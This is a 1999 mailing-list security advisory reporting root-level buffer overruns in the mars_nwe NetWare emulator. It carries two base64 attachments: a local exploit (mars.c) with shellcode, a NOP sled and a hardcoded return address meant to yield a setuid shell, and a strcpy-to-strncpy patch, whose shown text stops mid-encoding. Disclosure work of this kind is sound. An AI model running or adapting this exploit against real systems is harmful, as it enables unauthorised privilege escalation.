Babcia Padlina Ltd. security advisory: mars_nwe buffer overf

From: Przemyslaw Frasunek (venglinat_private)
Date: Mon Aug 30 1999 - 05:31:46 PDT

  • Next message: Stefan Laudat: "Re: Dynamic DNS"

    This message is in MIME format
    --_=XFMail.1.3.p0.Linux:990830144023:989=_
    Content-Type: text/plain; charset=iso-8859-2
    
    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
    
                    Babcia Padlina Ltd. Security Advisory (BP-9908:01)
                    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Synopsis:
    
            Babcia Padlina Ltd. has discovered many buffer overruns in running
            with superuser priviliges parts of mars_nwe package.
    
    Vulnerable versions:
    
            Probably all versions of mars_nwe.
    
    Description:
    
            By creating carefully designed directories or bindery objects
            it is possible to execute arbitrary code.
    
    Sample code:
    
            Sample code (won't work with NLS support enabled) in attachment.
    
    Fix:
    
            Patches for mars_nwe 0.99pl15 in attachment.
    
    - ---
    * Fido: 2:480/124 ** WWW: FreeBSD.lublin.pl/~venglin ** GSM: +48-601-383657 *
    * Inet: venglinat_private ** PGP: D48684904685DF43 EA93AFA13BE170BF *
    
    -----BEGIN PGP SIGNATURE-----
    Version: PGPfreeware 5.0i for non-commercial use
    Charset: noconv
    
    iQA/AwUBN8p7tv6SPyHAYTvjEQI0ogCfdy9TeyHvuQj0UL4Vt79/Sj1o6nEAoJW/
    kaJzxLBfV5pECo3/cqiMqbao
    =DNGn
    -----END PGP SIGNATURE-----
    
    --_=XFMail.1.3.p0.Linux:990830144023:989=_
    Content-Disposition: attachment; filename="mars.c"
    Content-Transfer-Encoding: base64
    Content-Type: application/octet-stream; name=mars.c; SizeOnDisk=1879
    
    Ly8gZ2V0IGEgc3VpZCBzaGVsbCA6KQoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxlcnJu
    by5oPgojaW5jbHVkZSA8c3lzL3N0YXQuaD4KI2luY2x1ZGUgPHN0cmluZ3MuaD4KI2luY2x1ZGUg
    PHVuaXN0ZC5oPgoKI2RlZmluZSBCVUZTSVpFCQkyNTQKI2RlZmluZSBOT1AJCTB4OTAKI2RlZmlu
    ZSBSRVQJCTB4YmZmZmYzYTAKI2RlZmluZSBBTElHTgkJMQoKaW50IG1ha2VkaXIoZGlyKQpjaGFy
    ICpkaXI7CnsKCglpZiAobWtkaXIoZGlyLCAoU19JUldYVSB8IFNfSVJXWEcgfCBTX0lSV1hPKSkp
    CgkJcmV0dXJuIC0xOwoKCWlmIChjaGRpcihkaXIpKQoJCXJldHVybiAtMTsKCglyZXR1cm4gMDsK
    fQoJCgppbnQgbWFpbih2b2lkKQp7CglpbnQgaSA9IDAsIG5vcGxlbiA9IDA7CgljaGFyIHBpZFsx
    MF0sIGJ1ZltCVUZTSVpFXSwgKnB0ciA9IE5VTEw7CgoJY2hhciBzemVsa29kW10gPQoKCQkiXHhl
    Ylx4MDNceDVlXHhlYlx4MDVceGU4XHhmOFx4ZmZceGZmXHhmZlx4ODNceGM2XHgwZCIKCQkiXHgz
    MVx4YzlceGIxXHg4OFx4ODBceDM2XHgwMVx4NDZceGUyXHhmYVx4ZWFceDE5XHgyZSIKCQkiXHg2
    M1x4NjhceDZmXHgyZVx4NjJceDY5XHg2Y1x4NmVceDY1XHgwMVx4MzVceDM2XHgzNCIKCQkiXHgz
    NFx4MDFceDJlXHg2M1x4NjhceDZmXHgyZVx4NzJceDY5XHgwMVx4ODhceGY3XHg1NCIKCQkiXHg4
    OFx4ZTRceDgyXHhlZFx4MTlceDU2XHg1N1x4NTJceGU5XHgwMVx4MDFceDAxXHgwMSIKCQkiXHg1
    YVx4ODBceGMyXHhjZlx4MTFceDAxXHgwMVx4OGNceGJhXHgwYlx4ZWVceGZlXHhmZSIKCQkiXHg4
    OFx4N2NceGYxXHg4Y1x4ODJceDE0XHhlZVx4ZmVceGZlXHg4OFx4NDRceGY1XHg4YyIKCQkiXHg5
    Mlx4MWJceGVlXHhmZVx4ZmVceDg4XHg1NFx4ZjlceGM2XHg0NFx4ZmRceDAxXHgwMSIKCQkiXHgw
    MVx4MDFceGI5XHg0N1x4MDFceDAxXHgwMVx4MzBceGY3XHgzMFx4YzhceDUyXHg4OCIKCQkiXHhm
    Mlx4Y2NceDgxXHg4Y1x4NDRceGYxXHg4OFx4YzBceGI5XHgwYVx4MDFceDAxXHgwMSIKCQkiXHg4
    OFx4ZmZceDMwXHhkM1x4NTJceDg4XHhmMlx4Y2NceDgxXHg4Y1x4NjRceGRkXHg1YSIKCQkiXHg1
    Zlx4NWVceGM4XHhjMlx4OTFceDkxXHg5MVx4OTFceDkxXHg5MVx4OTFceDkxXHg5MSIKCQkiXHg5
    MVx4OTFceDkxXHgwMCI7CgoJc3ByaW50ZihwaWQsICIlZCIsIGdldHBpZCgpKTsKCglpZiAobWtk
    aXIocGlkLCAoU19JUldYVSB8IFNfSVJXWEcgfCBTX0lSV1hPKSkpCgl7CgkJcGVycm9yKCJta2Rp
    cigpIik7CgkJcmV0dXJuIC0xOwoJfQoKCWlmIChjaGRpcihwaWQpKQoJewoJCXBlcnJvcigiY2hk
    aXIoKSIpOwoJCXJldHVybiAtMTsKCX0KCglwdHIgPSBidWY7Cglub3BsZW4gPSBCVUZTSVpFIC0g
    c3RybGVuKHN6ZWxrb2QpOwoKCWZvciAoaT0wO2k8bm9wbGVuO2krKykKCQkqcHRyKysgPSBOT1A7
    CgoJKnB0ciArPSBub3BsZW47CgoJZm9yIChpPTA7aTxzdHJsZW4oc3plbGtvZCk7aSsrKQoJCSpw
    dHIrKyA9IHN6ZWxrb2RbaV07CgoJKnB0ciA9ICdcMCc7CgoJaWYobWFrZWRpcihidWYpIDwgMCkK
    CXsKCQlwZXJyb3IoIm1ha2VkaXIoKSIpOwoJCXJldHVybiAtMTsKCX0KCgliemVybyhidWYsIEJV
    RlNJWkUpOwoJbWVtc2V0KGJ1ZiwgTk9QLCA0MCArIEFMSUdOKTsKCglpZihtYWtlZGlyKGJ1Zikg
    PCAwKQoJewoJCXBlcnJvcigibWFrZWRpcigpIik7CgkJcmV0dXJuIC0xOwoJfQoKCWJ6ZXJvKGJ1
    ZiwgQlVGU0laRSk7CgoJZm9yKGk9MDtpPDk2O2krPTQpCgkJKihsb25nICopJmJ1ZltpXSA9IFJF
    VDsKCglmb3IoaT0wO2k8MjtpKyspCgl7CgoJCWlmKG1ha2VkaXIoYnVmKSA8IDApCgkJewoJCQlw
    ZXJyb3IoIm1ha2VkaXIoKSIpOwoJCQlyZXR1cm4gLTE7CgkJfQoJfQoKCXJldHVybiAwOwp9Cg==
    
    --_=XFMail.1.3.p0.Linux:990830144023:989=_
    Content-Disposition: attachment; filename="mars.patch"
    Content-Transfer-Encoding: base64
    Content-Type: application/octet-stream; name=mars.patch; SizeOnDisk=39368
    
    LS0tIGNvbm5lY3QuYy5vcmlnCU1vbiBBdWcgMzAgMTE6MjA6NDUgMTk5OQorKysgY29ubmVjdC5j
    CU1vbiBBdWcgMzAgMTM6NTc6NTMgMTk5OQpAQCAtMTEzLDE3ICsxMTMsMTcgQEAKICAgICAgICAg
    ICAgICAgICAgfHwgIW53X3ZvbHVtZXNbdm9sdW1lXS51bml4bmFtbGVuKSB7CiAgICAgZXJyb3Jw
    KDEwLCAiYnVpbGRfdW5peF9uYW1lIiwgInZvbHVtZT0lZCBub3Qgb2tcbiIsIHZvbHVtZSk7CiAg
    ICAgc3RyY3B5KHVuaXhuYW1lLCAiWi9aL1ovWiIpOyAvKiAgKi8KICAgICByZXR1cm4odW5peG5h
    bWUpOwogICB9Ci0gIHN0cmNweSh1bml4bmFtZSwgKGNoYXIqKW53X3ZvbHVtZXNbdm9sdW1lXS51
    bml4bmFtZSk7IC8qIGZpcnN0IFVOSVhOQU1FIFZPTFVNRSAqLworICBzdHJuY3B5KHVuaXhuYW1l
    LCAoY2hhciopbndfdm9sdW1lc1t2b2x1bWVdLnVuaXhuYW1lLCBzaXplb2YodW5peG5hbWUpLTEp
    OyAvKiBmaXJzdCBVTklYTkFNRSBWT0xVTUUgKi8KIAogICBwICA9IHBwID0gdW5peG5hbWUrc3Ry
    bGVuKHVuaXhuYW1lKTsKLSAgc3RyY3B5KHAsICAoY2hhciopbndwYXRoLT5wYXRoKTsgIC8qIG5v
    dyB0aGUgcGF0aCAqLworICBzdHJuY3B5KHAsICAoY2hhciopbndwYXRoLT5wYXRoLCAoc2l6ZW9m
    KHVuaXhuYW1lKS1zdHJsZW4odW5peG5hbWUpLTEpKTsgIC8qIG5vdyB0aGUgcGF0aCAqLwogICBw
    ICs9IHN0cmxlbigoY2hhciopbndwYXRoLT5wYXRoKTsKICAgaWYgKCAoIShtb2R1cyAmIDEpKSAm
    JiBud3BhdGgtPmZuWzBdKQotICAgIHN0cmNweShwLCAoY2hhciopbndwYXRoLT5mbik7ICAgIC8q
    IGFuZCBub3cgZm4gICovCisgICAgc3RybmNweShwLCAoY2hhciopbndwYXRoLT5mbiwgKHNpemVv
    Zih1bml4bmFtZSktc3RybGVuKHVuaXhuYW1lKS0xKSk7ICAgIC8qIGFuZCBub3cgZm4gICovCiAg
    IGVsc2UgaWYgKChtb2R1cyAmIDIpICYmICgqKHAtMSkgPT0gJy8nKSkgewogICAgIGlmIChwID4g
    dW5peG5hbWUrMSkgKigtLXApID0gJ1wwJzsKICAgICBlbHNlIHsKICAgICAgICpwKysgPSAnLic7
    CiAgICAgICAqcCAgID0gJ1wwJzsKQEAgLTE3NiwxMSArMTc2LDExIEBACiAgIH0gZWxzZQogICAg
    IHJldGhhbmRsZT1uaGFuZGxlOwogCiAgIC8qIGluaXQgZGlyX2hhbmRsZSAqLwogICBkaD0mKGRp
    cl9oYW5kbGVzW3JldGhhbmRsZS0xXSk7Ci0gIHN0cmNweShkaC0+dW5peG5hbWUsIGJ1aWxkX3Vu
    aXhfbmFtZShud3BhdGgsIDApKTsKKyAgc3RybmNweShkaC0+dW5peG5hbWUsIGJ1aWxkX3VuaXhf
    bmFtZShud3BhdGgsIDApLCBzaXplb2YoZGgtPnVuaXhuYW1lKS0xKTsKICAgZGgtPmtwYXRoICAg
    ICAgICAgPSBkaC0+dW5peG5hbWUgKyBzdHJsZW4oZGgtPnVuaXhuYW1lKTsKICAgaWYgKGRoLT5m
    KSB7CiAgICAgY2xvc2VkaXIoZGgtPmYpOwogICAgIGRoLT5mPU5VTEw7CiAgIH0KQEAgLTM5Miwx
    MiArMzkyLDEyIEBACiB7CiBzdGF0aWMgY2hhciBud3BhdGhuYW1lWzMwMF07CiAgIGNoYXIgdm9s
    bmFtZVsxMDBdOwogICBpZiAocC0+dm9sdW1lIDwgMCB8fCBwLT52b2x1bWUgPj0gdXNlZF9ud192
    b2x1bWVzKSB7CiAgICAgc3ByaW50Zih2b2xuYW1lLCAiPCVkPU5PVC1PSz4iLCAoaW50KXAtPnZv
    bHVtZSk7Ci0gIH0gZWxzZSBzdHJjcHkodm9sbmFtZSwgKGNoYXIqKW53X3ZvbHVtZXNbcC0+dm9s
    dW1lXS5zeXNuYW1lKTsKLSAgc3ByaW50Zihud3BhdGhuYW1lLCAiJXM6JXMlcyIsIHZvbG5hbWUs
    IHAtPnBhdGgsIHAtPmZuKTsKKyAgfSBlbHNlIHN0cm5jcHkodm9sbmFtZSwgKGNoYXIqKW53X3Zv
    bHVtZXNbcC0+dm9sdW1lXS5zeXNuYW1lLCBzaXplb2Yodm9sbmFtZSktMSk7CisgIHNucHJpbnRm
    KG53cGF0aG5hbWUsIHNpemVvZihud3BhdGhuYW1lKSwgIiVzOiVzJXMiLCB2b2xuYW1lLCBwLT5w
    YXRoLCBwLT5mbik7CiAgIHJldHVybihud3BhdGhuYW1lKTsKIH0KIAogLyogbmV3IGZyb20gQW5k
    cmV3IFNhcG96aG5pa292IDxzYXBhQGhxLmljYi5jaGVsLnN1PiAgCiAgKiBhZGRlZCBpbiAwLjk5
    LnBsNywgcmVtb3ZlcyBvbGQgeF9zdHJfbWF0Y2ggcm91dGluZQpAQCAtNTc2LDE0ICs1NzYsMTQg
    QEAKICAgICBmcy0+dWJ1ZiAgPSBOVUxMOwogICB9CiAgIGZzLT5hdHRyaWIgID0gYXR0cmliOwog
    ICBpZiAodm9sdW1lIDwgMCB8fCB2b2x1bWUgPj0gdXNlZF9ud192b2x1bWVzKSByZXR1cm4oLTEp
    OyAvKiBzb21ldGhpbmcgd3JvbmcgKi8KICAgZWxzZSAgc29wdGlvbnMgPSBud192b2x1bWVzW3Zv
    bHVtZV0ub3B0aW9uczsKLSAgc3RyY3B5KChjaGFyKillbnRyeSwgIChjaGFyKilud3BhdGgtPmZu
    KTsKKyAgc3RybmNweSgoY2hhciopZW50cnksICAoY2hhciopbndwYXRoLT5mbiwgc2l6ZW9mKGVu
    dHJ5KS0xKTsKIAogICBud3BhdGgtPmZuWzBdID0gJ1wwJzsKLSAgc3RyY3B5KHhrcGF0aCwgYnVp
    bGRfdW5peF9uYW1lKG53cGF0aCwgMXwyKSk7CisgIHN0cm5jcHkoeGtwYXRoLCBidWlsZF91bml4
    X25hbWUobndwYXRoLCAxfDIpLCBzaXplb2YoeGtwYXRoKS0xKTsKIAogICBYRFBSSU5URigoNSww
    LCJmdW5jX3NlYXJjaF9lbnRyeSBhdHRyaWI9MHgleCBwYXRoOiVzOiwgeGtwYXRoOiVzOiwgZW50
    cnk6JXM6IiwKICAgICAgICAgYXR0cmliLCBud3BhdGgtPnBhdGgsIHhrcGF0aCwgZW50cnkpKTsK
    ICAgCiAgIGlmICggKCFzdGF0KHhrcGF0aCwgJihmcy0+c3RhdGIpKSkKQEAgLTYwOCwxNiArNjA4
    LDE2IEBACiAgICAgICAgIG9rZmxhZyA9IChuYW1lWzBdICE9ICcuJyAmJgogICAgICAgICAgICAg
    ICAgICAoICghc3RyY21wKChjaGFyKilkbmFtZSwgKGNoYXIqKWVudHJ5KSkKICAgICAgICAgICAg
    ICAgICAgfHwgZm5fZG9zX21hdGNoKGRuYW1lLCBlbnRyeSwgc29wdGlvbnMpKSk7CiAgICAgICAg
    IGlmIChva2ZsYWcpIHsKICAgICAgICAgICAqa3BhdGggPSAnXDAnOwotICAgICAgICAgIHN0cmNw
    eShrcGF0aCwgKGNoYXIqKW5hbWUpOworICAgICAgICAgIHN0cm5jcHkoa3BhdGgsIChjaGFyKilu
    YW1lLCBzaXplb2YoKHhrcGF0aCktc3RybGVuKHhrcGF0aCktMSkpOwogICAgICAgICAgIGlmICgh
    c19zdGF0KHhrcGF0aCwgJihmcy0+c3RhdGIpLCBOVUxMKSkgewogICAgICAgICAgICAgb2tmbGFn
    ID0gKCAgKCAoIChmcy0+c3RhdGIuc3RfbW9kZSAmIFNfSUZNVCkgPT0gU19JRkRJUikgJiYgIChh
    dHRyaWIgJiAweDEwKSkKICAgICAgICAgICAgICAgICAgIHx8ICAgICggKCAoZnMtPnN0YXRiLnN0
    X21vZGUgJiBTX0lGTVQpICE9IFNfSUZESVIpICYmICEoYXR0cmliICYgMHgxMCkpKTsKICAgICAg
    ICAgICAgIGlmIChva2ZsYWcpewotICAgICAgICAgICAgICBzdHJjcHkoKGNoYXIqKW53cGF0aC0+
    Zm4sIChjaGFyKilkbmFtZSk7CisgICAgICAgICAgICAgIHN0cm5jcHkoKGNoYXIqKW53cGF0aC0+
    Zm4sIChjaGFyKilkbmFtZSwgc2l6ZW9mKG53cGF0aC0+Zm4pKTsKICAgICAgICAgICAgICAgWERQ
    UklOVEYoKDUsMCwiRk9VTkQ9OiVzOiBhdHRyaWI9MHgleCIsIG53cGF0aC0+Zm4sIGZzLT5zdGF0
    Yi5zdF9tb2RlKSk7CiAgICAgICAgICAgICAgIHJlc3VsdCA9ICgqZnNfZnVuYykobndwYXRoLCBm
    cyk7CiAgICAgICAgICAgICAgIGlmIChyZXN1bHQgPCAwKSBicmVhazsKICAgICAgICAgICAgICAg
    ZWxzZSByZXN1bHQ9MTsKICAgICAgICAgICAgIH0KQEAgLTY0NiwxMyArNjQ2LDEzIEBACiAgIGlu
    dCAgICAgICAgICAgIHZvbHVtZSA9IG53cGF0aC0+dm9sdW1lOwogICBpbnQgICAgICAgICAgICBz
    b3B0aW9uczsKICAgaW50ICAgICAgICAgICAgYWt0X3NlcXVlbmNlPTA7CiAgIGlmICh2b2x1bWUg
    PCAwIHx8IHZvbHVtZSA+PSB1c2VkX253X3ZvbHVtZXMpIHJldHVybigtMHg5OCk7IC8qIHNvbWV0
    aGluZyB3cm9uZyAqLwogICBlbHNlICBzb3B0aW9ucyA9IG53X3ZvbHVtZXNbdm9sdW1lXS5vcHRp
    b25zOwotICBzdHJjcHkoKGNoYXIqKWVudHJ5LCAgKGNoYXIqKW53cGF0aC0+Zm4pOworICBzdHJu
    Y3B5KChjaGFyKillbnRyeSwgIChjaGFyKilud3BhdGgtPmZuLCBzaXplb2YoZW50cnkpLTEpOwog
    ICBud3BhdGgtPmZuWzBdID0gJ1wwJzsKLSAgc3RyY3B5KHhrcGF0aCwgYnVpbGRfdW5peF9uYW1l
    KG53cGF0aCwgMXwyKSk7CisgIHN0cm5jcHkoeGtwYXRoLCBidWlsZF91bml4X25hbWUobndwYXRo
    LCAxfDIpLCBzaXplb2YoeGtwYXRoKS0xKTsKICAgWERQUklOVEYoKDUsMCwiZ2V0X2Rpcl9lbnRy
    eSBhdHRyaWI9MHgleCBwYXRoOiVzOiwgeGtwYXRoOiVzOiwgZW50cnk6JXM6IiwKICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgYXR0cmliLCBud3BhdGgtPnBhdGgsIHhrcGF0aCwgZW50cnkpKTsK
    IAogICBpZiAoICghc3RhdCh4a3BhdGgsIHN0YXRiKSkKICAgICAmJiAhdHJ1X2VmZl9yaWdodHNf
    ZXhpc3RzKHZvbHVtZSwgeGtwYXRoLCBzdGF0YiwgVFJVU1RFRV9GKSkgewpAQCAtNjg2LDIwICs2
    ODYsMjAgQEAKICAgICAgICAgb2tmbGFnID0gKChuYW1lWzBdICE9ICcuJyAmJgogICAgICAgICAg
    ICAgICAgICAoICghc3RyY21wKChjaGFyKilkbmFtZSwgKGNoYXIqKWVudHJ5KSkKICAgICAgICAg
    ICAgICAgICAgfHwgZm5fZG9zX21hdGNoKGRuYW1lLCBlbnRyeSwgc29wdGlvbnMpKSkpID8gMCA6
    IC0weGZmOwogICAgICAgICBpZiAoIW9rZmxhZykgewogICAgICAgICAgICprcGF0aCA9ICdcMCc7
    Ci0gICAgICAgICAgc3RyY3B5KGtwYXRoLCAoY2hhciopbmFtZSk7CisgICAgICAgICAgc3RybmNw
    eShrcGF0aCwgKGNoYXIqKW5hbWUsIHNpemVvZih4a3BhdGgpLXN0cmxlbih4a3BhdGgpLTEpOwog
    ICAgICAgICAgIGlmICghc19zdGF0KHhrcGF0aCwgc3RhdGIsIE5VTEwpKSB7CiAgICAgICAgICAg
    ICBva2ZsYWcgPSAoKCAgKCAoIChzdGF0Yi0+c3RfbW9kZSAmIFNfSUZNVCkgPT0gU19JRkRJUikg
    JiYgIChhdHRyaWIgJiAweDEwKSkKICAgICAgICAgICAgICAgICAgIHx8ICAgICggKCAoc3RhdGIt
    PnN0X21vZGUgJiBTX0lGTVQpICE9IFNfSUZESVIpICYmICEoYXR0cmliICYgMHgxMCkpKSkKICAg
    ICAgICAgICAgICAgICAgID8gMCA6IC0weGZmOwogICAgICAgICAgICAgaWYgKCFva2ZsYWcpewog
    ICAgICAgICAgICAgICBpZiAoc29wdGlvbnMgJiBWT0xfT1BUSU9OX0lTX1BJUEUpICB7CiAgICAg
    ICAgICAgICAgICAgc3RhdGItPnN0X3NpemUgID0gMHg3MDAwMDAwMHwoc3RhdGItPnN0X210aW1l
    JjB4ZmZmZmZmZik7CiAgICAgICAgICAgICAgIH0KLSAgICAgICAgICAgICAgc3RyY3B5KChjaGFy
    Kilud3BhdGgtPmZuLCAoY2hhciopZG5hbWUpOworICAgICAgICAgICAgICBzdHJuY3B5KChjaGFy
    Kilud3BhdGgtPmZuLCAoY2hhciopZG5hbWUsIHNpemVvZihud3BhdGgtPmZuKS0xKTsKICAgICAg
    ICAgICAgICAgWERQUklOVEYoKDUsMCwiRk9VTkQ9OiVzOiBhdHRyaWI9MHgleCIsIG53cGF0aC0+
    Zm4sIHN0YXRiLT5zdF9tb2RlKSk7CiAgICAgICAgICAgICAgIGJyZWFrOyAvKiByZWFkeSAqLwog
    ICAgICAgICAgICAgfQogICAgICAgICAgIH0gZWxzZSBva2ZsYWcgPSAtMHhmZjsKICAgICAgICAg
    fQpAQCAtNzM2LDExICs3MzYsMTIgQEAKIHN0YXRpYyBpbnQgZ2V0X2RoX2VudHJ5KERJUl9IQU5E
    TEUgKmRoLAogICAgICAgICAgICAgICAgICAgICAgICAgdWludDggICpzZWFyY2gsCiAgICAgICAg
    ICAgICAgICAgICAgICAgICBpbnQgICAgKnNlcXVlbmNlLAogICAgICAgICAgICAgICAgICAgICAg
    ICAgaW50ICAgIGF0dHJpYiwKICAgICAgICAgICAgICAgICAgICAgICAgIGNoYXIgICAqdW5peG5h
    bWUsCi0gICAgICAgICAgICAgICAgICAgICAgICBzdHJ1Y3Qgc3RhdCAqc3RhdGIpCisgICAgICAg
    ICAgICAgICAgICAgICAgICBzdHJ1Y3Qgc3RhdCAqc3RhdGIsCisJCQlpbnQgbGVuKQogCiAvKiBy
    ZXR1cm5zIDEgaWYgT0sgYW5kIDAgaWYgbm90IE9LICovCiB7CiAgIERJUiAgICAgICAgICAgICpm
    ICAgICA9IGdpdmVfZGhfZihkaCk7CiAgIGludCAgICAgICAgICAgIG9rZmxhZyA9IDA7CkBAIC03
    ODIsMjEgKzc4MywyMSBAQAogICAgICAgICBva2ZsYWcgPSAobmFtZVswXSAhPSAnLicgJiYgCiAg
    ICAgICAgICAgICAgICAgICggKCFzdHJjbXAoKGNoYXIqKWRuYW1lLCAoY2hhciopZW50cnkpKSAK
    ICAgICAgICAgICAgICAgICAgfHwgZm5fZG9zX21hdGNoKGRuYW1lLCBlbnRyeSwgZGgtPnZvbF9v
    cHRpb25zKSkpOwogCiAgICAgICAgIGlmIChva2ZsYWcpIHsKLSAgICAgICAgICBzdHJjcHkoZGgt
    PmtwYXRoLCAoY2hhciopbmFtZSk7CisgICAgICAgICAgc3RybmNweShkaC0+a3BhdGgsIChjaGFy
    KiluYW1lLCBzaXplb2YoZGgtPnVuaXhuYW1lKS0xKTsKICAgICAgICAgICBYRFBSSU5URigoNSww
    LCJnZXRfZGhfZW50cnkgTmFtZT0lcyB1bml4bmFtZT0lcyIsCiAgICAgICAgICAgICAgICAgICAg
    ICAgICAgICAgICAgICAgbmFtZSwgZGgtPnVuaXhuYW1lKSk7CiAKICAgICAgICAgICBpZiAoIXNf
    c3RhdChkaC0+dW5peG5hbWUsIHN0YXRiLCBOVUxMKSkgewogICAgICAgICAgICAgb2tmbGFnID0g
    KCAoKCAoc3RhdGItPnN0X21vZGUgJiBTX0lGTVQpID09IFNfSUZESVIpICYmICAoYXR0cmliICYg
    MHgxMCkpCiAgICAgICAgICAgICAgICAgICAgICB8fCAoKChzdGF0Yi0+c3RfbW9kZSAmIFNfSUZN
    VCkgIT0gU19JRkRJUikgJiYgIShhdHRyaWIgJiAweDEwKSkpOwogICAgICAgICAgICAgaWYgKG9r
    ZmxhZyl7CiAgICAgICAgICAgICAgIGlmICh1bml4bmFtZSkKLSAgICAgICAgICAgICAgICBzdHJj
    cHkodW5peG5hbWUsIGRoLT51bml4bmFtZSk7Ci0gICAgICAgICAgICAgIHN0cmNweSgoY2hhciop
    c2VhcmNoLCAoY2hhciopZG5hbWUpOworICAgICAgICAgICAgICAgIHN0cm5jcHkodW5peG5hbWUs
    IGRoLT51bml4bmFtZSwgc2l6ZW9mKHVuaXhuYW1lKS0xKTsKKyAgICAgICAgICAgICAgc3RybmNw
    eSgoY2hhciopc2VhcmNoLCAoY2hhciopZG5hbWUsIGxlbi0xKTsKICAgICAgICAgICAgICAgYnJl
    YWs7IC8qIHJlYWR5ICovCiAgICAgICAgICAgICB9CiAgICAgICAgICAgfSBlbHNlIG9rZmxhZyA9
    IDA7CiAgICAgICAgIH0KICAgICAgIH0gIC8qIGlmICovCkBAIC04MTIsMTEgKzgxMywxMiBAQAog
    c3RhdGljIHZvaWQgY29ubl9idWlsZF9wYXRoX2ZuKCB1aW50OCAqdm9sLAogICAgICAgICAgICAg
    ICAgICAgICAgICAgIHVpbnQ4ICpwYXRoLAogICAgICAgICAgICAgICAgICAgICAgICAgIHVpbnQ4
    ICpmbiwKICAgICAgICAgICAgICAgICAgICAgICAgICBpbnQgICAqaGFzX3dpbGQsCiAgICAgICAg
    ICAgICAgICAgICAgICAgICAgdWludDggKmRhdGEsCi0gICAgICAgICAgICAgICAgICAgICAgICAg
    aW50ICAgbGVuKQorICAgICAgICAgICAgICAgICAgICAgICAgIGludCAgIGxlbiwKKwkJCSBpbnQg
    ICBsZW5uKQogCiAvKiBpcyBjYWxsZWQgZnJvbSBidWlsZF9wYXRoICAqLwogewogICAgdWludDgg
    ICpwICA9IE5VTEw7CiAgICB1aW50OCAgKnAxID0gcGF0aDsKQEAgLTg0NCwxNCArODQ2LDE0IEBA
    CiAgICAgIGRhdGErKzsKICAgIH0KICAgICpwMSA9ICdcMCc7CiAgICBpZiAoZm4gIT0gTlVMTCkg
    eyAgLyogaWYgd2l0aCBmaWxlbmFtZSAgICAgKi8KICAgICAgaWYgKHAgIT0gTlVMTCl7ICAvKiBl
    eGlzdCBkaXJlY3RvcnktcGF0aCAgKi8KLSAgICAgICBzdHJjcHkoKGNoYXIqKWZuLCAoY2hhciop
    cCk7CisgICAgICAgc3RybmNweSgoY2hhciopZm4sIChjaGFyKilwLCBsZW5uLTEpOwogICAgICAg
    ICpwID0gJ1wwJzsKICAgICAgfSBlbHNlIHsgICAgICAgICAvKiBvbmx5IGZpbGVuYW1lICovCi0g
    ICAgICAgc3RyY3B5KChjaGFyKilmbiwgKGNoYXIqKXBhdGgpOworICAgICAgIHN0cm5jcHkoKGNo
    YXIqKWZuLCAoY2hhciopcGF0aCwgbGVubi0xKTsKICAgICAgICAqcGF0aD0gJ1wwJzsKICAgICAg
    fQogICAgfQogfQogCkBAIC04NzAsMTEgKzg3MiwxMSBAQAogICB1aW50OCB2b2xbMjU2XTsKICAg
    Y29ubl9idWlsZF9wYXRoX2ZuKHZvbCwgcGF0aC0+cGF0aCwKICAgICAgICAgICAgICAgICAgICAg
    IChvbmx5X2RpcikgPyAodWludDgpTlVMTAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
    ICA6IHBhdGgtPmZuLAogICAgICAgICAgICAgICAgICAgICAgJihwYXRoLT5oYXNfd2lsZCksCi0g
    ICAgICAgICAgICAgICAgICAgICBkYXRhLCBsZW4pOworICAgICAgICAgICAgICAgICAgICAgZGF0
    YSwgbGVuLCBzaXplb2YocGF0aC0+Zm4pKTsKIAogICBwYXRoLT52b2x1bWUgPSAtMTsKICAgaWYg
    KG9ubHlfZGlyKSBwYXRoLT5mblswXSA9ICdcMCc7CiAKICAgaWYgKHZvbFswXSkgeyAgLyogdGhl
    cmUgaXMgYSB2b2x1bWUgaW4gcGF0aCAqLwpAQCAtOTMzLDExICs5MzUsMTEgQEAKICAgIHVpbnQ4
    ICAgICAgc2VhcmNocGF0aFsyNTZdOwogICAgdWludDggICAgICAqcD1zZWFyY2hwYXRoOwogICAg
    dWludDggICAgICAqcHBwPW53cGF0aC0+cGF0aDsKICAgIGludCAgICAgICAgY29tcGxldGl0aW9u
    PTA7CiAKLSAgIHN0cmNweSgoY2hhciopc2VhcmNocGF0aCwgKGNoYXIqKXBwcCk7ICAvKiBzYXZl
    IHBhdGggKi8KKyAgIHN0cm5jcHkoKGNoYXIqKXNlYXJjaHBhdGgsIChjaGFyKilwcHAsIHNpemVv
    ZihzZWFyY2hwYXRoKS0xKTsgIC8qIHNhdmUgcGF0aCAqLwogCiAgICBpZiAobndwYXRoLT52b2x1
    bWUgPiAtMSkgeyAvKiBhYnNvbHV0ZSBwYXRoICovCiAgICAgICpwcHA9ICdcMCc7CiAgICB9IGVs
    c2UgIHsgIC8qIHZvbHVtZSBub3Qga3dvd24geWV0LCBJIG11c3QgZ2V0IGl0IGFib3V0IGRpcl9o
    YW5kbGUgKi8KICAgICAgaWYgKGRpcl9oYW5kbGUgPiAwICYmCkBAIC05NDYsMTEgKzk0OCwxMSBA
    QAogICAgICAgIGlmIChzZWFyY2hwYXRoWzBdID09ICcvJykgeyAvKiBhYnNvbHV0ZSBwYXRoICov
    CiAgICAgICAgICBwKys7CiAgICAgICAgICAqcHBwID0gJ1wwJzsKICAgICAgICB9IGVsc2UgeyAv
    KiBnZXQgcGF0aCBmcm9tIGRpcl9oYW5kbGUgKi8KICAgICAgICAgIE5XX1ZPTCAqdiA9ICZud192
    b2x1bWVzW253cGF0aC0+dm9sdW1lXTsKLSAgICAgICAgIHN0cmNweSgoY2hhciopcHBwLCAoY2hh
    ciopZGlyc1tkaXJfaGFuZGxlXS5wYXRoKTsKKyAgICAgICAgIHN0cm5jcHkoKGNoYXIqKXBwcCwg
    KGNoYXIqKWRpcnNbZGlyX2hhbmRsZV0ucGF0aCwgc2l6ZW9mKG53cGF0aC0+cGF0aCktMSk7CiAg
    ICAgICAgICBpZiAodi0+b3B0aW9ucyAmIFZPTF9PUFRJT05fSUdOQ0FTRSkKICAgICAgICAgICAg
    IHBwcCArPSBzdHJsZW4ocHBwKTsKICAgICAgICB9CiAgICAgIH0gZWxzZSByZXR1cm4oLTB4OWIp
    OyAvKiB3cm9uZyBkaXIgaGFuZGxlICovCiAgICB9CkBAIC0xMDI4LDEzICsxMDMwLDEzIEBACiAg
